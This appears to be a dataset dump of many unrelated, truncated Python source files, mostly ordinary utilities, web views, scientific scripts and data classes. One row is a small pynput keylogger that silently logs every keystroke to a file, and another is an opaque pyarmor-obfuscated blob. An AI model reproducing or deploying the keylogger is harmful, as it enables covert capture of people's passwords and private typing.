text
string
size
int64
token_count
int64
from __future__ import annotations import os import subprocess from typing import AnyStr from ..util import check_nonnegative BTRFS_BIN = '/bin/btrfs' def file_defrag( target: AnyStr, start: int = None, size: int = None, extent_size: int = None, *, flush=False, btrfs_bin=BTRFS_BIN, ): ...
943
341
# -*- coding: utf-8 -*- import datetime import logging import os from ast import literal_eval import numpy as np import pandas as pd from fooltrader.consts import CHINA_STOCK_INDEX, USA_STOCK_INDEX from fooltrader.contract import data_contract from fooltrader.contract import files_contract from fooltrader.contract.f...
14,771
4,934
from django.urls import path from . import views # Refer to the corresponding view function for more detials of the url routes urlpatterns = [ path('', views.getRoutes, name="index"), path('add/', views.addJob, name="addJob" ), path('delete/<int:id>', views.removeJob, name="removeJob" ), path('get-jo...
432
143
import numpy as np import matplotlib.pyplot as plt # from scipy.constants import G # Setting plotting parameters from matplotlib import rc,rcParams rc('text', usetex=True) rc('axes', linewidth=2) rc('font', weight='bold') rc('font', **{'family': 'serif', 'serif':['Computer Modern']}) def find_vel_init(M1, M2, a): pe...
3,135
1,804
""" Provides functionality to calculate software metrics in python projects. """ from recoda.analyse.python import ( _general, _installability, _understandability, _verifiability, _correctness, ) from recoda.analyse.independent import ( learnability, openness ) # pylint: disable-msg=c0103...
1,704
514
__pyarmor__(__name__, __file__, b'\xe2\x50\x8c\x64\x26\x42\xd6\x01\x5c\x5c\xf8\xa8\x85\x0c\x21\xe7\x0a\xa2\x45\x58\x6e\xc9\x3c\xd5\x55\x40\x64\x69\x7d\x5f\x63\xcb\x41\xdc\x71\xdf\x4d\x82\x99\xc8\xc1\x98\xfd\x46\x67\x20\x2f\xed\x4b\xf6\xf9\x41\x55\x5c\x47\x3c\x78\x07\x75\x5d\x9b\x88\xa2\x6e\x5e\x78\xf3\x9c\x88\xba\xed\x...
1,667
1,525
import datetime import os import textwrap import click from PIL import Image, ImageDraw, ImageFont from metarmap.configuration import config, debug, get_display_lock_content, set_display_lock_content from metarmap.libraries.aviationweather import metar from metarmap.libraries.waveshare_epd import epd2in13_V2 FONTDIR...
3,278
1,192
import os from django.template import RequestContext from django.shortcuts import render_to_response, get_object_or_404, redirect from django.contrib.formtools.wizard.views import NamedUrlSessionWizardView from django.core.urlresolvers import reverse from django.conf import settings from django.views.generic import D...
3,234
987
# Min Heap Implementation class Heap(): def __init__(self, initial_data=[]): self.data = [] if isinstance(initial_data, int): self.data = [initial_data] elif isinstance(initial_data, list): self.data = list(initial_data) # Returns the number of element in the he...
3,409
998
# This code is based on the code # from ann-benchmark repository # created by Erik Bernhardsson # https://github.com/erikbern/ann-benchmarks import gzip import numpy import time import os import multiprocessing import argparse import pickle import resource import random import math import logging import shutil import...
16,921
5,939
from .ars import ARSLearner
28
10
from setuptools import setup setup( name="cre", packages=["cre"], version="0.1.0", author="Philipp Schiffmann", author_email="philippschiffmann@icloud.com", url="https://github.com/elaru/python3-cre", description="A regular expression processor implemented in python.", license="ISC", classifiers=[ "Developm...
618
204
import enum DEFAULT_FILE_NAME = 'DEFAULT' RANDOM_MIX_CONFIG_NAME = 'RandomMix' WIDTH_NAME = 'Width' HIGHT_NAME = 'Hight' class AutoName(enum.Enum): def _generate_next_value_(name, start, count, last_values): return name class Algorithms(AutoName): RANDOM_MIX = enum.auto()
284
106
import collections import functools import typing as t from nr.util.generic import T T_OrderedSet = t.TypeVar('T_OrderedSet', bound='OrderedSet') @functools.total_ordering class OrderedSet(t.MutableSet[T]): def __init__(self, iterable: t.Optional[t.Iterable[T]] = None) -> None: self._index_map: t.Dict[T, in...
1,902
687
import re from netmiko.ssh_connection import SSHConnection class LinuxSSH(SSHConnection): def set_base_prompt(self, pri_prompt_terminator='$', alt_prompt_terminator='#', delay_factor=.1): """Determine base prompt.""" return super(SSHConnection, self).set_base_prompt( ...
1,812
533
"""{Build token: cluster index}, hashes for each specified granularity level in the user-defined list 'clustering_levels_to_consider' Output: level_xx_hash.json hash to /cluster_hashes """ import json import os import pickle as pkl import typing import numpy as np def main(): # # user-defined vars # ...
4,287
1,405
# Copyright (c) 2018, MD2K Center of Excellence # - Nasir Ali <nasir.ali08@gmail.com> # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # # * Redistributions of source code must retain the above cop...
3,434
1,129
import sys import networkx as nx #from simhash import Simhash, SimhashIndex from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity # if there is a problem with gensim and Word2Vec, check the python version # to be 2.7 # print('Hello from {}'.format(sys.versi...
7,444
2,098
''' Modifed from code by Stephan Rabanser https://github.com/steverab/failing-loudly Plot test results across hospitals Usage: # region python generate_hosp_plot.py --datset eicu --path orig --test_type multiv --num_hosp 4 --random_runs 100 --min_samples 5000 --sens_attr race --group --group_type regions --limit_sam...
27,754
10,035
import sys import csv import logging import datetime from website.app import setup_django setup_django() from osf.models import Node, SpamStatus from django.db.models import Count from scripts import utils as script_utils logger = logging.getLogger(__name__) logging.basicConfig(level=logging.INFO) def main(): ...
1,285
417
#!/usr/bin/env python """Set up aiida-testing package.""" import os import warnings import setuptools from setuptools.config import read_configuration try: import fastentrypoints # NOQA # pylint: disable=unused-import except ImportError: warnings.warn( "The 'fastentrypoints' module could not be loa...
780
283
import os import time import h5py import json from PIL import Image import torch from torch import nn import torchvision import torchvision.transforms as transforms import torch.optim import torch.nn.functional as F from torch.utils.data.dataset import random_split from torch.utils.data import Dataset from torch.nn....
8,299
2,950
from dataclasses import dataclass, field from typing import List, Optional from .access_delegate import AccessDelegate from .password_state import PasswordState from .user import User @dataclass class InternalUser(User): """Represents an internal user within the YellowDog Platform.""" type: str = field(defau...
666
185
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import pulumi import pulumi.runtime class ReplicationTask(pulumi.CustomResource): """ Provides a DMS (Data Migration Service) ...
6,891
1,829
from __future__ import annotations from abc import abstractmethod from collections.abc import Collection, Sequence from datetime import datetime from typing import TypeVar, Protocol from ..bytes import Writeable from ..flags import SessionFlags from ..parsing.response.fetch import EnvelopeStructure, BodyStructure fr...
8,674
2,440
import glob for file in glob.glob("*.lrc"): filename = file[0:7] # assume fnt-xxx.lrc file format lrc_file = open(file, encoding="utf-8") lrc_lines = lrc_file.readlines() lrc_file.close() label = open(filename + '.txt', 'w', encoding="utf-8") print(filename) for line in lrc_lines[3:]: ...
623
245
import math from rlbot.agents.base_agent import SimpleControllerState from rlbot.utils.structures.game_data_struct import GameTickPacket from driving.drive import drive_to_target from base.action import Action from base.car import Car from base.ball import Ball from util.vec import Vec3 from util.boost import BoostTrac...
2,750
791
import sys from tkinter import * from tkinter import filedialog #################### # FUNCTIONS # #################### def saveas(): global text t = text.get("1.0", "end-1c") savelocation = filedialog.asksaveasfilename() file1 = open(savelocation, "w+") file1.write(t) file1.close() def dar...
2,026
651
""" Default import all .py files in current directory """ from glob import iglob from re import search __all__ = [] """ Find all DB model modules and their paths """ for path in iglob('./**/*.py', recursive=True): model_pattern = '.*/models/\w+\.py' if search(model_pattern, path) is not None: """ Get ...
525
152
from tdoa_sim import TDOASim import numpy as np class Multilateration(TDOASim): # Assumptions: Three hydrophones forming a right angle in the xz plane # Hydrophones 1 and 2 form the horizontal pair, and 2 and 3 form the vertical # https://en.wikipedia.org/wiki/Multilateration - cartesian solution def c...
1,374
551
#! usr/bin/python3 import pandas as pd import re import numpy as np import os import sys from collections import OrderedDict, defaultdict import matplotlib as mpl import matplotlib.pyplot as plt # import seaborn as sns from scipy import stats, integrate # sns.set() # switch to seaborn default # sns.set_style("whitegr...
2,811
1,166
from abc import abstractmethod from datetime import datetime, timedelta from enum import Enum, unique from io import RawIOBase from json import dumps, load from string import hexdigits from typing import ClassVar, Generator, Generic, Iterable, List, Optional, \ Sequence, Type, TypeVar, Union, cast f...
10,040
4,057
from functools import reduce from typing import List, Optional from opennem.core.normalizers import is_single_number def getcommonletters(strlist): return "".join( [ x[0] for x in zip(*strlist) if reduce(lambda a, b: (a == b) and a or None, x) ] ) def fin...
1,276
419
from database.interface import FirebaseInterface class Schedule: def __init__(self): self.id = None self.titulo = None self.data = None self.caminhao = None self.mecanico = None def validateFields(self, office_schedule): if self.titulo is None: rai...
1,733
517
# Tuples are immutable print("============ tuples ============") print() tuples = (12345, 54321, 'hello!') print(tuples) u = tuples, (1, 2, 3, 4, 5) print(u) # The statement t = 12345, 54321, 'hello!' is an example of tuple packing: # the values 12345, 54321 and 'hello!' # are packed together in a tuple. The revers...
381
166
""" This class consumes and lcmlog, extracts the images and saves them to png """ import os # director imports import director.vtkAll as vtk from director import filterUtils from director import lcmUtils from director import cameraview import bot_core as lcmbotcore from . import utils class ImageCapture(object): ...
4,304
1,235
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Wed Feb 3 16:59:33 2021 @author: dopiwoo Given the head of a LinkedList and a number 'k', reverse every alternating 'k' sized sub-list starting from the head. If, in the end, you are left with a sub-list with less than 'k' elements, reverse it too. """ ...
1,947
657
from typing import Text, Dict import torch from torch.utils.data import Dataset class MyDataset: def __init__(self, filepath: Text): self.data = self.load_data(filepath) self.prep_data = None def load_data(self, filepath): pass def get_x(self, data=None): pass def ...
833
288
# -*- coding: utf-8 -*- from authlib.client.apps import github from authlib.flask.client import OAuth from etcd import Client from flask import session from flask_caching import Cache from flask_mako import MakoTemplates from flask_session import Session from flask_sockets import Sockets from flask_sqlalchemy import S...
1,447
485
import json import random import os import re from faker import Faker ################################################################################ # Some settings: ################################################################################ ADMIN_COUNT = 2 STUDENT_COUNT = 40 LECTURER_COUNT = 10 EXAM_REG_COU...
6,625
2,225
###LATTICE OPERATIONS from .data_structure_definitions import * def trimTrapStates(doof): flag = 1 while flag == 1: flag = 0 statesToDelete = [] dict_items = set([t[0][0] for t in doof.transitions.items()]) for i, state in enumerate(doof.states): if state not in dict_items: # if len([0...
2,972
1,082
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2020/10/28 0028 11:34 # @Author : Hadrianl # @File : widget from vnpy.event import EventEngine, Event from vnpy.trader.engine import MainEngine from vnpy.trader.ui import QtWidgets, QtCore from ..engine import APP_NAME class InfluxRecorder(QtWidgets.QW...
2,949
1,027
#!/usr/bin/env python """Define routes for CRUD operations on users.""" from sqlalchemy import create_engine from sqlalchemy.orm import sessionmaker from application.models import (Base, Gift, Claim, User) from flask import (request, redi...
5,021
1,546
from flask import Flask import requests from bs4 import BeautifulSoup import os import sqlite3 import logging logging.basicConfig(filename='example.log', level=logging.DEBUG) URL = os.environ['SOURCE_URL'] AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661...
2,077
701
from flask import Flask from flask_sqlalchemy import SQLAlchemy from flask_bcrypt import Bcrypt from flask_login import LoginManager from flask_mail import Mail from nodaysoff.config import Config # from flask_session import Session db = SQLAlchemy() bcrypt = Bcrypt() login_manager = LoginManager() login_ma...
1,278
423
# scrip to test the lobpcg_sep eigenvalue solver include("../src/lobpcg_sep.jl") using LinearAlgebra Ns = 100 k = 5 # number of eigenvectors A = sqrt(Ns)*Diagonal(ones(Ns)) + rand(Ns, Ns) A = 0.5*(A + A') (e, X) = eigen(A) # orthonormal starting guess of the eigenvectors X0 = qr(rand(Ns, k + 6)).Q[:, 1:k+6] #comp...
695
304
""" Implementation of a ButtonEditor demo plugin for Traits UI demo program. This demo shows each of the two styles of the ButtonEditor. (As of this writing, they are identical.) """ from traits.api import HasTraits, Button from traitsui.api import Item, View, Group from traitsui.message import message #-----------...
1,549
385
#!/usr/bin/env python # -*- coding: UTF-8 -*- import setuptools version='0.1' setuptools.setup( name='TracDevPlatformPlugin', version=version, description='Provide helpers to ease development on top of Trac', author='Felix Schwarz', author_email='felix.schwarz@oss.schwarz.eu', url='http:/...
1,181
390
from pynput.keyboard import Key, Listener import logging logging.basicConfig(filename=("keylog.txt"), level=logging.DEBUG, format=" %(asctime)s - %(message)s") def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
276
97
# Generated by Django 2.2.6 on 2019-11-02 09:32 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('core', '0006_auto_20191102_0706'), ] operations = [ migrations...
1,372
443
from selenium import webdriver from selenium.webdriver.common.keys import Keys import time import random import datetime from tkinter import * from tkinter import messagebox from tkinter import ttk import functools # import pathlib from conflista import Bot from salvacode import Salvar from escreve import escreve...
2,687
1,052
""" process_atac.py Margaret Guo 04/15/2020 footprinting (.bed) --> csv) notebooks - make_hichip_df-withsnps-cancer-only """ #### FIX FOR HOCO def footprinting_to_df(footprinting_file): footprinting_df = pd.read_table(footprinting_file,header=None) footprinting_df.columns = ['chr', 'start', 'end', 'motif...
943
380
""" ------------------------------------------------- # @Project :外卖系统 # @File :login # @Date :2021/8/1 18:16 # @Author :小成 # @Email :1224069978 # @Software :PyCharm ------------------------------------------------- """ import hashlib,copy,requests from conf.host import * def get_md5(password): md5 = ...
834
293
# Supporting Module # identities.py def exp1(a, b): return a ** 2 + 2 * a * b + b ** 2 def exp2(a, b): return a ** 2 - 2 * a * b + b ** 2 def exp3(a, b): return (a + b) * (a - b) def exp4(a, b): return (a + b) ** 2 - 2 * a * b def exp5(a, b): return a ** 3 + 3 * a ** 2 * b + 3 * a * b ** 2...
409
213
#!/usr/bin/env python2 # Design Decisions # Heuristic : Heuristic tries to maximize the pieces of that particular player on top n rows # Min-Max : Min-Max algorithm has been used # IDS : Iterative deepening search has been used to move down the tree(depth:100) # No Time Constrain : No time constrain has been taken.In...
14,296
2,917
def binary(n): if n not in binary.memoize: binary.memoize[n] = binary(n//2) + str(n % 2) return binary.memoize[n] binary.memoize = {0: '0', 1: '1'} def get_binary_l(n, l): bin_str = binary(n) return (l - len(bin_str))*'0' + bin_str n_f = 9 with open('command_lines.txt', 'w') as out:...
503
240
""" Functions for plotting the signal to noise per angular bin. """ import math import os.path import matplotlib import matplotlib.pyplot as plt import numpy as np import angular_binning.like_cf_gauss as like_cf DEG_TO_RAD = math.pi / 180.0 def plot_cl_cf(diag_she_cl_path, she_nl_path, lmin, lmax, theta_min, the...
17,422
6,958
""" test_18_confirm_purchase As a developer building a service provider Agent for Ocean, I need a way to confirm if an Asset has been sucessfully puchased so that I can determine whether to serve the asset to a given requestor """ import secrets import logging import json from starfish.asset import ...
1,182
362
from blaze.expr import TableSymbol from blaze.expr.datetime import isdatelike from blaze.compatibility import builtins from datashape import dshape import pytest def test_datetime_dshape(): t = TableSymbol('t', '5 * {name: string, when: datetime}') assert t.when.day.dshape == dshape('5 * int32') assert t....
1,230
414
import argparse import os import time import gym import warnings # Parts of the code are inspired by the AutoML3 competition from sys import argv, path from os import getcwd from os.path import join verbose = True if __name__ == "__main__": parser = argparse.ArgumentParser( description="The experiment run...
1,539
518
from volga.json import foo_test def test_mock(): assert 1 == foo_test()
78
29
# 🚀 This Project is in it's early stages of Development. # 📌 Working on new features and main menu. # ⚠️ Any Questions or Suggestions please Mail to: hendriksdevmail@gmail.com # 🖥 Version: 1.0.0 from selenium import webdriver from colorama import Fore, Back, Style import warnings import time import random import st...
11,067
3,698
from fixation.models import get_id, Message, MsgContent, Component, Field, Enum import os class Configuration: @staticmethod def fiximate(base_dir): return Configuration(base_dir) def __init__(self, base_dir, messages='messages', fields='fields', components='components'): self.base_dir =...
1,491
429
###################### # Loading word2vec ###################### import os from threading import Semaphore import gensim from gensim.models import KeyedVectors pathToBinVectors = '/Users/kanishksinha/Downloads/GoogleNews-vectors-negative300.bin' newFilePath = '/Users/kanishksinha/Downloads/GoogleNews-vectors-negative...
4,201
1,187
lista = [] x = 0 while x != 999: x = int(input('Numero: ')) if x not in lista: lista.append(x) lista.sort() print(lista)
134
62
""" Copyright 2021 Janrey "CodexLink" Licas Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, s...
12,399
3,204
import logging import re from abc import ABC, abstractmethod from typing import Dict, Any, List, Set, Optional, Generic, TypeVar, Tuple from sqlalchemy import text from sqlalchemy.sql.elements import TextClause from fidesops.graph.config import ROOT_COLLECTION_ADDRESS, CollectionAddress from fidesops.graph.traversal ...
11,790
3,451
print("debug_print: 42") print("") print("Hello") #! #<-># #debug_print: 42 # #Hello #<->#
91
48
from flask import request, redirect from .message import create_message_for_user from .tasks import send_message_to_bot def _hook(chat_id, hash): if not request.is_json: return 'Data must be in json format', 400 json_obj = request.get_json(cache=False) msg = create_message_for_user(request.heade...
710
252
#-*- coding:utf-8 -*- #import python packages from sklearn.feature_extraction.text import CountVectorizer from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.metrics.pairwise import cosine_similarity from sklearn.metrics import adjusted_rand_score from sklearn.metrics import silhouette_samples fr...
17,208
6,719
import torch import torch.nn as nn import framework.configbase import caption.encoders.vanilla import caption.decoders.attention import caption.models.attention import controlimcap.encoders.flat from caption.models.attention import MPENCODER, ATTNENCODER, DECODER class NodeBUTDAttnModel(caption.models.attention.BU...
2,241
872
""" Console ------- A module containing functions for interacting with a Windows console. """ from six import integer_types from pywincffi.core import dist from pywincffi.core.checks import NON_ZERO, NoneType, input_check, error_check from pywincffi.exceptions import WindowsAPIError from pywincffi.wintypes import HA...
5,169
1,542
""" extracts the climate observation data from the xlsx spreadsheet to a csv file so that ens weather scripts can consume it. Looks in the folder os.environ["ENS_CLIMATE_OBS"] determines the relationship between the xlsx source and the csv destinations deleteds any csv's and regenerates them by exporting the ALL_DATa...
2,568
840
n = int(input()) # takes the number of arguments mdict = {} for i in range(0,n): grades = input().split(" ") # self explanatory scores = list(map(float, grades[1:])) # since the first element from the list grades is the name of the student mdict[grades[0]] = sum(scores)/float(len(scores)) # the key is t...
403
131
class Solution(object): def convert(self, s, numRows): """ :type s: str :type numRows: int :rtype: str """ evenColumnIndex = True result = [] stringLength = len(s) if numRows >= stringLength or numRows == 1: return s fullL...
2,764
793
import pandas as pd class Session: def __init__(self, students_df, df_session_chat, meta_data): self._first_message_time = df_session_chat["time"].sort_values().iloc[0] self._relevant_chat = self.get_participants_in_session(students_df, df_session_chat, meta_data) @ staticmethod def get_...
2,437
806
import imageio # type: ignore import logging import numpy # type: ignore import os import pathlib import torch import torchvision # type: ignore import utils from torch import Tensor from typing import Callable def load(path: str, encoding: str = 'RGB') -> Tensor: ''' Loads the image at the given path usi...
4,538
1,596
#!/usr/bin/env python # -*- coding:utf-8 -*- import matplotlib.pyplot as plt import numpy as np from vertex import Vertex from heap import PriorityQueue class NodeGraph(): ''' The NodeGraph conception comes from computer science textbooks work on graphs in the mathematical sense―a set of vertices ...
12,611
4,397
import re class Doubly: def __init__(self, value, prev=None, next=None): self.value = value self.prev = prev or self self.next = next or self def move(self, n): curr = self for i in range(abs(n)): if n < 0: curr = curr.prev else:...
1,534
582
from fipeapi import CARRO, CAMINHAO, MOTO, consulta_preco_veiculo, pega_anos_modelo, pega_modelos from time import sleep def consulta_preco(marca="HONDA"): modelo = pega_modelos(tipo_veiculo=CAMINHAO, marca=marca)[0]['modelo'] print(f"\nAnos do Modelo {modelo} da {marca}:") sleep(2) anos = pega_anos_m...
628
256
# -*- coding: utf-8 -*- from django.http import HttpResponse from servo.models import TaggedItem def clear(request, pk): TaggedItem.objects.get(pk=pk).delete() return HttpResponse("") def add(request, content_type, pk, tag): pass
247
87
from django.core.management.base import BaseCommand, CommandError from channels import Channel, Group, channel_layers import json from builtins import str class Command(BaseCommand): help = 'Send text announcement on notifications channel (events view)' def add_arguments(self, parser): ...
853
211
from typing import List from django.template.defaultfilters import slugify from jcms.models.single_menu_item import SingleMenuItem class GenericMenuItem: """ Generic menu item that can be seen in the left bar in the cms """ def __init__(self, title: str, single_menu_items: List[SingleMenuItem], slug:...
849
237
# Hysteresis class to model battery charging / discharge hysteresis # Copyright (C) 2022 Dave Gutz # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; # version 2.1 of the License. # # This...
9,572
3,821
from django.urls import path from home.views import IndexView urlpatterns=[ path('', IndexView.as_view(),name='index'), ]
127
40
# Generated by the protocol buffer compiler. DO NOT EDIT! # source: groundstation/proto/object_list.proto from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import descriptor_pb2 # @@protoc_in...
1,507
521
"""@file This file is responsible for extracting website from google search results and formatting them for later use. """ import json from urllib.parse import urlparse import nltk import os tc = 0 cp = 0 def find_website(raw_data): """ Uses several rule based techniques to find candidate websites for a compa...
3,822
1,172
from functools import reduce as rd def main() -> int: return len( rd(lambda a, b: a | b, [set(input().strip().split()) for j in range(4)][1::2]) ) if __name__ == "__main__": print(main())
212
82
from rest_framework.serializers import ModelSerializer from .models import Degree, Job, Skill, DataOrigin, Address, Qualification, User class DegreeSerializer(ModelSerializer): class Meta: model = Degree fields = ('id', 'name', 'description') class AddressSerializer(ModelSerializer): class M...
2,354
673
import urllib.request urls = [ "https://www.google.com","httpr://www.python.org" ] for link in urls: request = urllib.request.Request( link) response = urllib.request.urlopen( request) ''' action here ''' '''\ NORMAL: sloooow [][][] [][] [][]{}{} {}{}{} {}{}{} {} THREADING: st...
506
195
import collections from django.db import models import contacts.models as cont def print_report(parser): parser.print_header('Message Counts By Auto Tag') system_msgs = cont.Message.objects.filter(is_system=True).exclude(auto='') groups = system_msgs.order_by().values('auto').annotate(count=models.Cou...
779
259
""" Leetcode #137 """ from typing import List from collections import Counter class Solution: # linear but extra memory def singleNumber(self, nums: List[int]) -> int: if not nums: return None # O(n) operation store = Counter(nums) for i in nums: ...
942
338
import json from algorithm_ncs import ncs_c as ncs import argparse parser = argparse.ArgumentParser(description="This is a NCS solver") parser.add_argument("-c", "--config", default="algorithm_ncs/parameter.json", type=str, help="a json file that contains parameter") parser.add_argument("-d", "--data", default="6", ...
1,133
416
# name # name of the package short string (1) # version # version of this release short string (1)(2) # author # package author’s name short string (3) # author_email # email address of the package author email address (3) # maintainer # package maintainer’s name short string (3) # maintainer_email ...
1,999
697
from setuptools import setup setup(name='cctable', version='0.3', description='Frontend visualizing accouting data.', url='github.com/elcolumbio/cctable', author='Florian Benkö', author_email='f.benkoe@innotrade24.de', license='Apache License, Version 2.0 (the "License")', pac...
339
117
"""Auto-generate custom TextX AST classes.""" import re try: import black except ImportError: black = None GRAMMAR_RULE_REGEX = re.compile( r"([a-zA-Z_]\w*)\s*:(((['\"];['\"])|[^;])+);", re.S ) RULE_MEMBER_REGEX = re.compile( r"([a-zA-Z_]\w*)\s*([?\+\*]?)=\s*([^\s]+)", re.S ) if black is not None: ...
2,685
871
#!/usr/bin/env python """ Run the microdata testing locally """ # You may want to adapt this to your environment... import sys sys.path.append("..") import glob from pyMicrodata import pyMicrodata from rdflib import Graph ########################################### # marshall all test HTML files test_path = "../test...
683
223
# -*- coding: utf-8 -*- # https://oldj.net/ u""" 同步两个文件夹 用法: python syncdir.py source_dir target_dir 执行后,source_dir 中的文件将被同步到 target_dir 中 这个同步是单向的,即只将 source_dir 中更新或新增的文件拷到 target_dir 中, 如果某个文件在 source_dir 中不存在而在 target_dir 中存在,本程序不会删除那个文件, 也不会将其拷贝到 source_dir 中 判断文件是否更新的方法是比较文件最后修改时间以及文件大小是否一致 """ import os im...
2,910
1,112
# Copyright 2018 SpiderOak, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writi...
5,004
1,509
import numpy as np from numpy import sin, cos, tan, degrees, radians, arctan, arcsin # Slip projections ## To/From offset def offset_from_vert_sep(vert_sep, dip, rake=90.): dip_slip = dip_slip_from_vert_sep(vert_sep, dip, rake) return offset_from_dip_slip(dip_slip, dip, rake) def vert_sep_from_offset(offset,...
7,588
3,286